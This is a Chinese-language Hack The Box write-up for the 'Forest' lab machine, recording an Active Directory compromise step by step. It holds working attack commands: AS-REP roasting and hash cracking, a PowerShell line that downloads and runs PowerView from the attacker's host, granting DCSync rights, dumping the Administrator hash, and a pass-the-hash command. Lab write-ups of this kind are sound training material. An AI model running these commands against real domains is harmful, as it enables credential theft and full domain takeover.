HTB-Forest
一、思路概要
主要工具:
rpcclient:建立null session并执行enumdomusers列举域内用户
ldapsearch:列举域内用户
impacket-GetNPUsers:枚举用户信息
crackmapexec:登录smb或winrm服务
evil-winrm:登录winrm服务
bloodhound-python:获取Active Directory信息
impacket-secretsdump:把Administrator的hash给dump下来(hash转储)
二、信息收集
nmap扫描
nmap -A 10.10.10.161
开放的端口服务挺多的,避免遗漏,再用如下命令扫一遍
nmap -p- --min-rate 10000 -Pn -sT 10.10.10.161
nmap -p- --min-rate 10000 -Pn -sU 10.10.10.161
三、RPCBind
用rpcclient建立null session(即不需要用户名和口令),并执行命令列举域内用户
rpcclient -U "" -N -c enumdomusers 10.10.10.161
其中有一些SM_
和HealthMailbox
开头的用户是微软Exchange邮件服务相关用户,可以忽略
另一种列举域内用户的方法是用ldapsearch,如下命令
ldapsearch -x -b "dc=htb,dc=local" "*" -H ldap://10.10.10.161 | grep userPrincipalName -T
然后我们把用户保存到一个txt文件中
四、AS-REP Roasting
用impacket-GetNPUsers枚举用户信息
impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.10.10.161
获取到svc-alfresco用的的hash,保存到一个txt文件中
$krb5asrep$23$svc-alfresco@HTB.LOCAL:0f16da7878199001a313c8d8fa5f4954$c12e97e4c0dc193904026abe565b276765c563f613e0a802e4ab5b567c6dc280194233cbbdc40813f6419cbb3072815f488be8c4af44646a46c02119c901099b34a562e0f18751b39b2de2ef108a5ee09d9131849e9fe5169e51ee585ae604810cd154f010fbd3b6a00c31e982ff23242c86d4e00c3c0e97ada71e93241f798e6ca453b3850807795d2b7910c7cfb56a9ec53b5b1425470b9a9408bb71c02456f7540c7d9d9c48687cc935a99d8c9799e0ad16022119ce88ecb84666393d1c91bdf26470464171641c6525c5d3026ce06bed360a6ca93305275419d1f478f10a92a8d006a23e
用john指定字典,爆破hash
john -w=/usr/share/wordlists/rockyou.txt hash.txt
爆破成功,用户名及口令已知,用crackmapexec验证此账户
crackmapexec smb 10.10.10.161 -u svc-alfresco -p s3rvice -d htb.local
验证成功,确认此账户正确
五、WinRM
然后把smb更换成winrm,看是否有登录winrm服务的权限
crackmapexec winrm 10.10.10.161 -u svc-alfresco -p s3rvice -d htb.local
确实有winrm服务的权限,用evil-winrm登录,如下图,登录成功
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
六、权限提升
用bloodhound-python获取Active Directory信息
bloodhound-python -c All -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 --zip
添加新用户wa0er,并把用户放到”Exchange Windows Permissions”用户组和”Remote Management Users”用户组
net user wa0er password /add /domain
net group "Exchange Windows Permissions" wa0er /add
net localgroup "Remote Management Users" wa0er /add
验证用户有效性
crackmapexec smb 10.10.10.161 -u wa0er -p 'password' -d htb.local
写DACL
本地kali开启http.server服务
python3 -m http.server 80
靶机evil-winrm窗口依次执行如下命令
(New-Object System.Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1') | IEX
$SecPass = ConvertTo-SecureString 'password' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\wa0er', $SecPass)
Add-ObjectACL -PrincipalIdentity wa0er -Credential $Cred -Rights DCSync
现在用户wa0er有了DCSync权限
用impacket-secretsdump把Administrator的hash给dump下来(hash转储)
impacket-secretsdump htb.local/wa0er@10.10.10.161 -just-dc-user Administrator -just-dc-ntlm
用crackmapexec和传递Administrator的hash,执行命令
crackmapexec smb 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -d htb.local -x "dir C:\Users\Administrator\Desktop"
会有一些报错,但无伤大雅
可看到成功以Administrator身份执行任意命令